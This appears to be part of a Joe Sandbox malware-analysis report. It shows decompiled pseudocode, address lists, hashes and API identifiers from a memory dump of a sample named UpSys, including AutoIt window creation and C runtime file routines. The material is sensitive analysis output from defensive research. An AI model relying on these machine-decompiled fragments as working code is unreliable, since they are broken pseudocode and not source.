                                                                                                                                                                                                        0x14002444b
                                                                                                                                                                                                        0x14002444d
                                                                                                                                                                                                        0x140024451
                                                                                                                                                                                                        0x140024453
                                                                                                                                                                                                        0x140024457
                                                                                                                                                                                                        0x14002445c
                                                                                                                                                                                                        0x14002445e
                                                                                                                                                                                                        0x140024462
                                                                                                                                                                                                        0x14002446d
                                                                                                                                                                                                        0x140024476
                                                                                                                                                                                                        0x14002447c
                                                                                                                                                                                                        0x14002447e
                                                                                                                                                                                                        0x140024486
                                                                                                                                                                                                        0x14002448f
                                                                                                                                                                                                        0x1400244a0
                                                                                                                                                                                                        0x1400244aa
                                                                                                                                                                                                        0x1400244ac
                                                                                                                                                                                                        0x1400244b4
                                                                                                                                                                                                        0x1400244ba
                                                                                                                                                                                                        0x1400244c0
                                                                                                                                                                                                        0x1400244c8
                                                                                                                                                                                                        0x1400244d1
                                                                                                                                                                                                        0x1400244e2
                                                                                                                                                                                                        0x1400244e4
                                                                                                                                                                                                        0x1400244e8
                                                                                                                                                                                                        0x1400244ec
                                                                                                                                                                                                        0x1400244f5
                                                                                                                                                                                                        0x140024506
                                                                                                                                                                                                        0x140024508
                                                                                                                                                                                                        0x14002450c
                                                                                                                                                                                                        0x140024510
                                                                                                                                                                                                        0x140024519
                                                                                                                                                                                                        0x14002452a
                                                                                                                                                                                                        0x140024534
                                                                                                                                                                                                        0x140024538
                                                                                                                                                                                                        0x14002453a
                                                                                                                                                                                                        0x140024542
                                                                                                                                                                                                        0x140024548
                                                                                                                                                                                                        0x140024553
                                                                                                                                                                                                        0x140024556
                                                                                                                                                                                                        0x14002455c
                                                                                                                                                                                                        0x140024564
                                                                                                                                                                                                        0x14002456c
                                                                                                                                                                                                        0x140024572
                                                                                                                                                                                                        0x140024578
                                                                                                                                                                                                        0x14002457c
                                                                                                                                                                                                        0x14002457f
                                                                                                                                                                                                        0x140024582
                                                                                                                                                                                                        0x140024586
                                                                                                                                                                                                        0x14002458c
                                                                                                                                                                                                        0x140024590
                                                                                                                                                                                                        0x1400245b0

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$_wsopen_s
                                                                                                                                                                                                        • String ID: =$UNICODE$UTF-16LE$UTF-8$ccs
                                                                                                                                                                                                        • API String ID: 586276568-31882262
                                                                                                                                                                                                        • Opcode ID: 14989ac0edfc79f759c66c20c9d213f4e163517352168e7a2524b8c4585ad115
                                                                                                                                                                                                        • Instruction ID: 676ca39cbf6b9bd3e34362921d33c76f7ce20de1925a093fde416b8f5bae2124
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 14989ac0edfc79f759c66c20c9d213f4e163517352168e7a2524b8c4585ad115
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0A71F472B0422082FB77AF17A4407F96695B35DBC0F9A410DFF4A27AF5D679CE819202
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140022B7C Relevance: 12.1, APIs: 8, Instructions: 89COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 73%
                                                                                                                                                                                                        			E00000001140022B7C(void* __ebx, signed int __ecx, signed int __esi, signed int* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __rbp, void* __r8, void* __r11, signed int _a8, long long _a16, long long _a24) {
				long long _v56;
				void* __rdi;
				void* __r12;
				signed int _t26;
				void* _t34;
				signed int _t47;
				void* _t53;
				signed int* _t57;
				signed int* _t58;
				long long _t65;
				signed long long _t68;
				void* _t75;
				void* _t76;
				void* _t77;
				signed long long _t79;

				_t75 = __r11;
				_t74 = __r8;
				_t70 = __rbp;
				_t62 = __rcx;
				_t34 = __ebx;
				_a16 = __rbx;
				_a24 = __rsi;
				_a8 = __ecx;
				r12d = r8d;
				_t77 = __rdx;
				_t60 = __ecx;
				if (__ebx != 0xfffffffe) goto 0x40022bc1;
				E0000000114001EB04(__ebx - 0xfffffffe, __rax);
				 *__rax = 0;
				E0000000114001EAE4(__ebx - 0xfffffffe, __rax);
				 *__rax = 9;
				goto 0x40022c95;
				if (__ebx < 0) goto 0x40022c6c;
				_t53 = _t34 -  *0x400c88bc; // 0x20
				if (_t53 >= 0) goto 0x40022c6c;
				_t79 = __ecx >> 5;
				_t68 = __ecx * 0x58;
				_t57 =  *((intOrPtr*)(0x400c88c0 + _t79 * 8));
				if (_t53 != 0) goto 0x40022c28;
				E0000000114001EB04(_t53, _t57);
				 *_t57 = 0;
				E0000000114001EAE4(_t53, _t57);
				 *_t57 = 9;
				_v56 = _t65;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(_t57, __ecx, __rcx, __rdx, _t68, __rbp, __r8);
				goto 0x40022c95;
				E00000001140022130(_t34, _t34, _t60, _t65, _t68, _t76);
				_t58 =  *((intOrPtr*)(0x400c88c0 + _t79 * 8));
				_t54 =  *(_t58 + _t68 + 8) & 0x00000001;
				if (( *(_t58 + _t68 + 8) & 0x00000001) == 0) goto 0x40022c4c;
				r8d = r12d;
				_t26 = E0000000114002241C(_t34, _t34, __esi & 0x0000001f, _t58, _t60, _t62, _t77, _t74, _t75); // executed
				_t47 = _t26;
				goto 0x40022c61;
				E0000000114001EAE4( *(_t58 + _t68 + 8) & 0x00000001, _t58);
				 *_t58 = 9;
				E0000000114001EB04( *(_t58 + _t68 + 8) & 0x00000001, _t58);
				 *_t58 = _t47;
				E000000011400221D8();
				goto 0x40022c95;
				E0000000114001EB04( *(_t58 + _t68 + 8) & 0x00000001, _t58);
				 *_t58 = _t47 | 0xffffffff;
				E0000000114001EAE4(_t54, _t58);
				 *_t58 = 9;
				_v56 = _t65;
				r9d = 0;
				r8d = 0;
				return E0000000114001EA14(_t58, _t60, _t62, _t77, _t68, _t70, _t74) | 0xffffffff;
			}


















                                                                                                                                                                                                        0x140022b7c
                                                                                                                                                                                                        0x140022b7c
                                                                                                                                                                                                        0x140022b7c
                                                                                                                                                                                                        0x140022b7c
                                                                                                                                                                                                        0x140022b7c
                                                                                                                                                                                                        0x140022b7c
                                                                                                                                                                                                        0x140022b81
                                                                                                                                                                                                        0x140022b86
                                                                                                                                                                                                        0x140022b97
                                                                                                                                                                                                        0x140022b9a
                                                                                                                                                                                                        0x140022b9d
                                                                                                                                                                                                        0x140022ba3
                                                                                                                                                                                                        0x140022ba5
                                                                                                                                                                                                        0x140022bac
                                                                                                                                                                                                        0x140022bae
                                                                                                                                                                                                        0x140022bb3
                                                                                                                                                                                                        0x140022bbc
                                                                                                                                                                                                        0x140022bc5
                                                                                                                                                                                                        0x140022bcb
                                                                                                                                                                                                        0x140022bd1
                                                                                                                                                                                                        0x140022bdd
                                                                                                                                                                                                        0x140022beb
                                                                                                                                                                                                        0x140022bef
                                                                                                                                                                                                        0x140022bfb
                                                                                                                                                                                                        0x140022bfd
                                                                                                                                                                                                        0x140022c02
                                                                                                                                                                                                        0x140022c04
                                                                                                                                                                                                        0x140022c09
                                                                                                                                                                                                        0x140022c0f
                                                                                                                                                                                                        0x140022c14
                                                                                                                                                                                                        0x140022c17
                                                                                                                                                                                                        0x140022c1e
                                                                                                                                                                                                        0x140022c26
                                                                                                                                                                                                        0x140022c2a
                                                                                                                                                                                                        0x140022c30
                                                                                                                                                                                                        0x140022c34
                                                                                                                                                                                                        0x140022c39
                                                                                                                                                                                                        0x140022c3b
                                                                                                                                                                                                        0x140022c43
                                                                                                                                                                                                        0x140022c48
                                                                                                                                                                                                        0x140022c4a
                                                                                                                                                                                                        0x140022c4c
                                                                                                                                                                                                        0x140022c51
                                                                                                                                                                                                        0x140022c57
                                                                                                                                                                                                        0x140022c5c
                                                                                                                                                                                                        0x140022c63
                                                                                                                                                                                                        0x140022c6a
                                                                                                                                                                                                        0x140022c6c
                                                                                                                                                                                                        0x140022c71
                                                                                                                                                                                                        0x140022c73
                                                                                                                                                                                                        0x140022c78
                                                                                                                                                                                                        0x140022c7e
                                                                                                                                                                                                        0x140022c83
                                                                                                                                                                                                        0x140022c86
                                                                                                                                                                                                        0x140022cac

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __doserrno_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 921712934-0
                                                                                                                                                                                                        • Opcode ID: 23711e73bc72b6d00a6e13b6c47ae9f6727aa9040bad8de7e1971c47b8db8cd4
                                                                                                                                                                                                        • Instruction ID: 403882c177feba472bb8757f7806fff9739f8e79c69ce413bef21f2f8118a696
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 23711e73bc72b6d00a6e13b6c47ae9f6727aa9040bad8de7e1971c47b8db8cd4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E831F13261428091F717AF67A8817AE3651B7C87E0FA54A19BF260B7F2CF39C842C711
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140005380 Relevance: 10.7, APIs: 7, Instructions: 241COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 16%
                                                                                                                                                                                                        			E00000001140005380(signed long long __rcx, signed int __rdx, long long __r12, long long _a8, void* _a16) {
				long long _v56;
				char _v64;
				char _v72;
				intOrPtr _v104;
				void* __rbx;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t54;
				long long _t82;
				long long _t86;
				intOrPtr* _t87;
				signed long long _t88;
				intOrPtr* _t90;
				intOrPtr* _t96;
				intOrPtr* _t100;
				void* _t103;
				intOrPtr* _t104;
				void* _t106;
				void* _t112;
				long long _t115;

				_t112 = _t106;
				r13d = 0;
				_t104 = __rcx;
				_t90 =  *((intOrPtr*)(__rdx + 8));
				 *((intOrPtr*)(_t112 + 0x10)) = r13d;
				if ( *((intOrPtr*)( *_t90)) != 0x22) goto 0x40005565;
				if ( *((intOrPtr*)(__rcx + 0x1b8)) == 1) goto 0x4003a325;
				 *((intOrPtr*)(_t112 + 0x10)) = 1;
				if ( *((short*)( *((intOrPtr*)(_t90 + 8)) + 8)) == 0x7f) goto 0x40005539;
				 *((intOrPtr*)(_t112 - 0x48)) = r13d;
				_v64 = 1;
				 *((long long*)(_t112 - 0x38)) = _t115;
				_v104 = 0xffffffff;
				_t49 = E00000001140005700( *((intOrPtr*)(_t90 + 8)), _t86, __rcx, __rdx, _t112 + 0x10, _t112 - 0x48); // executed
				if (_t49 != 0) goto 0x4003a33d;
				_t103 =  *((intOrPtr*)( *_t104 + 4)) + _t104;
				if ( *((intOrPtr*)(_t103 + 0x19)) != r13b) goto 0x4003a34d;
				_t87 =  *((intOrPtr*)(_t103 + 0x10));
				_t82 =  &_v72;
				_a8 = __r12;
				if (_t87 == _t82) goto 0x400054c4;
				if ( *((intOrPtr*)(_t87 + 0x10)) != 0) goto 0x4003a35a;
				_t50 =  *((intOrPtr*)(_t87 + 8));
				if (_t50 == 8) goto 0x4003a36d;
				if (_t50 == 0xa) goto 0x4003a38d;
				if (_t50 == 5) goto 0x4003a3a9;
				if (_t50 == 0xb) goto 0x4003a3b7;
				if (_t50 == 0xc) goto 0x4003a3d1;
				 *((intOrPtr*)(_t87 + 8)) = 1;
				 *_t87 = r13d;
				 *((intOrPtr*)(_t87 + 8)) = _v64;
				if (_v64 != 4) goto 0x4003a3ed;
				E00000001140016ED8(_t82,  *((intOrPtr*)(_t87 + 0x10)));
				if (_t82 == 0) goto 0x4003a5b6;
				_t100 = _v56;
				 *_t82 =  *_t100;
				 *((long long*)(_t82 + 8)) =  *((intOrPtr*)(_t100 + 8));
				 *((long long*)(_t82 + 0x10)) =  *((intOrPtr*)(_t100 + 0x10));
				_t96 =  *((intOrPtr*)(_t100 + 0x18));
				 *((long long*)(_t82 + 0x18)) = _t96;
				 *_t96 =  *_t96 + 1;
				 *((long long*)(_t87 + 0x10)) = _t82;
				if ( *((intOrPtr*)(_t103 + 0x19)) != r13b) goto 0x4003a5be;
				 *((char*)( *((intOrPtr*)(_t103 + 0x10)) + 0x18)) = 1;
				_t88 = _v56;
				if (_t88 == 0) goto 0x40005508;
				 *((intOrPtr*)( *((intOrPtr*)(_t88 + 0x18)))) =  *((intOrPtr*)( *((intOrPtr*)(_t88 + 0x18)))) - 1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t88 + 0x18)))) == r13d) goto 0x4003a5cb;
				0x40016a60();
				_v56 = _t115;
				_t54 = _v64;
				if (_t54 == 8) goto 0x4003a5e2;
				if (_t54 == 0xa) goto 0x4003a606;
				if (_t54 == 5) goto 0x4003a624;
				if (_t54 == 0xb) goto 0x4003a634;
				if (_t54 == 0xc) goto 0x4003a652;
				if ( *((short*)( *((intOrPtr*)(_a8 + _t88 * 8)) + 8)) != 0x7f) goto 0x4003a670;
				 *((char*)(_t104 + 0x238)) = 1;
				return _t54;
			}























                                                                                                                                                                                                        0x140005380
                                                                                                                                                                                                        0x14000538d
                                                                                                                                                                                                        0x140005390
                                                                                                                                                                                                        0x140005393
                                                                                                                                                                                                        0x140005397
                                                                                                                                                                                                        0x1400053a7
                                                                                                                                                                                                        0x1400053b4
                                                                                                                                                                                                        0x1400053ba
                                                                                                                                                                                                        0x1400053cb
                                                                                                                                                                                                        0x1400053d1
                                                                                                                                                                                                        0x1400053d5
                                                                                                                                                                                                        0x1400053e8
                                                                                                                                                                                                        0x1400053ec
                                                                                                                                                                                                        0x1400053f4
                                                                                                                                                                                                        0x1400053fb
                                                                                                                                                                                                        0x140005408
                                                                                                                                                                                                        0x14000540f
                                                                                                                                                                                                        0x140005415
                                                                                                                                                                                                        0x140005419
                                                                                                                                                                                                        0x14000541e
                                                                                                                                                                                                        0x140005429
                                                                                                                                                                                                        0x140005436
                                                                                                                                                                                                        0x14000543c
                                                                                                                                                                                                        0x140005442
                                                                                                                                                                                                        0x14000544b
                                                                                                                                                                                                        0x140005454
                                                                                                                                                                                                        0x14000545d
                                                                                                                                                                                                        0x140005466
                                                                                                                                                                                                        0x14000546c
                                                                                                                                                                                                        0x140005473
                                                                                                                                                                                                        0x14000547a
                                                                                                                                                                                                        0x140005484
                                                                                                                                                                                                        0x14000548d
                                                                                                                                                                                                        0x140005495
                                                                                                                                                                                                        0x14000549b
                                                                                                                                                                                                        0x1400054a3
                                                                                                                                                                                                        0x1400054aa
                                                                                                                                                                                                        0x1400054b2
                                                                                                                                                                                                        0x1400054b6
                                                                                                                                                                                                        0x1400054ba
                                                                                                                                                                                                        0x1400054be
                                                                                                                                                                                                        0x1400054c0
                                                                                                                                                                                                        0x1400054d0
                                                                                                                                                                                                        0x1400054da
                                                                                                                                                                                                        0x1400054de
                                                                                                                                                                                                        0x1400054e6
                                                                                                                                                                                                        0x1400054ec
                                                                                                                                                                                                        0x1400054f5
                                                                                                                                                                                                        0x1400054fe
                                                                                                                                                                                                        0x140005503
                                                                                                                                                                                                        0x140005508
                                                                                                                                                                                                        0x14000550f
                                                                                                                                                                                                        0x140005518
                                                                                                                                                                                                        0x140005521
                                                                                                                                                                                                        0x14000552a
                                                                                                                                                                                                        0x140005533
                                                                                                                                                                                                        0x14000554d
                                                                                                                                                                                                        0x140005553
                                                                                                                                                                                                        0x140005564

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Current_exceptionstd::exception_ptr::_$ClearVariant
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 332225251-0
                                                                                                                                                                                                        • Opcode ID: f8dddbefb9a87b1b74436d3fbb438b43fb4297f6a55c81c8dd75d9c773274447
                                                                                                                                                                                                        • Instruction ID: 7b18ed32aba9f3cb9316b0a356e55419a041fc7e00025d3b9419a89c00a96109
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f8dddbefb9a87b1b74436d3fbb438b43fb4297f6a55c81c8dd75d9c773274447
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6AA16F72205A4082EB16EF26E4903EE6365F78EBC9F684511FB4E477B6CB79C991C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140015960 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 41COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Create$Show
                                                                                                                                                                                                        • String ID: AutoIt v3$d$edit
                                                                                                                                                                                                        • API String ID: 2813641753-2600919596
                                                                                                                                                                                                        • Opcode ID: 2811ebc4a75a37b52236b8a94e0031e29de478c623f905695ef82c9dc9bb5929
                                                                                                                                                                                                        • Instruction ID: 24cad0ddd8f10366cd65865adf8106bbd57caaf06d3a1f7af5e16a4c679bb816
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2811ebc4a75a37b52236b8a94e0031e29de478c623f905695ef82c9dc9bb5929
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6C11B672519B4086E761CF56F88079AB7B1F78C795F540129EB8E47B28DB7CC1948B04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400614B0 Relevance: 9.1, APIs: 6, Instructions: 129COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 80%
                                                                                                                                                                                                        			E000000011400614B0(void* __ecx, void* __eflags, void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, long long __rbp, void* __r8, long long _a8, long long _a16, long long _a24) {
				void* _v40;
				char _v568;
				char _v1096;
				signed int _v1100;
				char _v1104;
				char _v1108;
				signed int _v1112;
				void* _t58;
				void* _t59;
				void* _t73;
				void* _t113;
				intOrPtr* _t115;
				void* _t119;
				void* _t120;
				void* _t139;
				void* _t140;

				_t80 = __rbx;
				_t79 = __rax;
				_t73 = __eflags;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t120 = _t119 - 0x450;
				_t139 = __r8;
				_t4 = _t80 + 1; // 0x1
				r15d = _t4;
				_t115 = __rcx;
				r12d = 0;
				bpl = r15b;
				_t5 = _t80 + 4; // 0x4
				E00000001140019A28(_t140, _t113,  *__rcx); // executed
				r9d = 0x221f9803;
				r8d = _t5;
				E00000001140058F00(_t73, __rax, __rbx,  &_v1108, __rcx,  *__rcx);
				_v1104 = 0;
				if (E00000001140019A60(__ecx,  &_v1108, 0x4009e84c) != 0) goto 0x4006166f;
				r12d = r12d + r15d;
				E00000001140019A28(_t113, _t140,  *_t115);
				_t58 = _t113 + _t113;
				E00000001140019A28(_t140, _t58,  *_t115);
				r9d = _t113 - 0x6af044f7;
				r8d = _t58;
				E00000001140058F00(E00000001140019A60(__ecx,  &_v1108, 0x4009e84c), _t79, _t80,  &_v1096, _t115,  *_t115);
				 *((short*)(_t120 + 0x30 + (_v1112 ^ 0xf69b1e94) * 2)) = 0;
				E00000001140016E4C( &_v568,  &_v1096);
				E00000001140019A28( &_v1096, _t140,  *_t115);
				_t59 = _t113 + _t113;
				E00000001140019A28(_t140, _t59,  *_t115);
				r9d = _t113 + 0x272fc644;
				r8d = _t59;
				E00000001140058F00(E00000001140019A60(__ecx,  &_v1108, 0x4009e84c), _t79, _t80,  &_v1096, _t115,  *_t115);
				 *((short*)(_t120 + 0x30 + (_v1112 ^ 0x50351348) * 2)) = 0;
				E00000001140016E4C(_t139,  &_v1096);
				if (E00000001140017790( &_v568, __rdx) == 0) goto 0x400616a1;
				if (E00000001140017790(__rdx, 0x4009e840) != 0) goto 0x4006162b;
				if (r12d == 0) goto 0x400616a1;
				r8d = r15d;
				E00000001140019E98(r15d, _t79, _t80,  *_t115, _t115); // executed
				E00000001140019A28(_t113, _t140,  *_t115);
				r8d = r15d;
				_v1100 = _v1100 ^ 0x000087bc;
				E00000001140019E98((_v1100 ^ 0x000087bc) + 0x18, _t79, _t80,  *_t115, _t115); // executed
				goto 0x40061672;
				bpl = 0;
				if (bpl == r15b) goto 0x400614e7;
				return 6;
			}



















                                                                                                                                                                                                        0x1400614b0
                                                                                                                                                                                                        0x1400614b0
                                                                                                                                                                                                        0x1400614b0
                                                                                                                                                                                                        0x1400614b0
                                                                                                                                                                                                        0x1400614b5
                                                                                                                                                                                                        0x1400614ba
                                                                                                                                                                                                        0x1400614c8
                                                                                                                                                                                                        0x1400614d1
                                                                                                                                                                                                        0x1400614d7
                                                                                                                                                                                                        0x1400614d7
                                                                                                                                                                                                        0x1400614db
                                                                                                                                                                                                        0x1400614de
                                                                                                                                                                                                        0x1400614e1
                                                                                                                                                                                                        0x1400614e4
                                                                                                                                                                                                        0x1400614f5
                                                                                                                                                                                                        0x1400614ff
                                                                                                                                                                                                        0x140061505
                                                                                                                                                                                                        0x14006150b
                                                                                                                                                                                                        0x14006151c
                                                                                                                                                                                                        0x140061527
                                                                                                                                                                                                        0x14006153b
                                                                                                                                                                                                        0x14006153e
                                                                                                                                                                                                        0x140061558
                                                                                                                                                                                                        0x14006155e
                                                                                                                                                                                                        0x140061563
                                                                                                                                                                                                        0x14006156f
                                                                                                                                                                                                        0x140061575
                                                                                                                                                                                                        0x14006158c
                                                                                                                                                                                                        0x140061592
                                                                                                                                                                                                        0x1400615a7
                                                                                                                                                                                                        0x1400615c1
                                                                                                                                                                                                        0x1400615c7
                                                                                                                                                                                                        0x1400615cc
                                                                                                                                                                                                        0x1400615d8
                                                                                                                                                                                                        0x1400615de
                                                                                                                                                                                                        0x1400615f0
                                                                                                                                                                                                        0x1400615f6
                                                                                                                                                                                                        0x14006160d
                                                                                                                                                                                                        0x140061624
                                                                                                                                                                                                        0x140061629
                                                                                                                                                                                                        0x14006162e
                                                                                                                                                                                                        0x140061634
                                                                                                                                                                                                        0x14006164c
                                                                                                                                                                                                        0x14006165e
                                                                                                                                                                                                        0x140061661
                                                                                                                                                                                                        0x140061668
                                                                                                                                                                                                        0x14006166d
                                                                                                                                                                                                        0x14006166f
                                                                                                                                                                                                        0x140061675
                                                                                                                                                                                                        0x1400616a0

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _fread_nolock
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 840049012-0
                                                                                                                                                                                                        • Opcode ID: f6f3e406bd0a682d26fc44e541d19f6b5ba03cc1a82abcb748c1372bef6980ae
                                                                                                                                                                                                        • Instruction ID: ece278631ec023e8bfe07a3d1c5a844531568bc78f933f168607cd73f6e1b3c5
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f6f3e406bd0a682d26fc44e541d19f6b5ba03cc1a82abcb748c1372bef6980ae
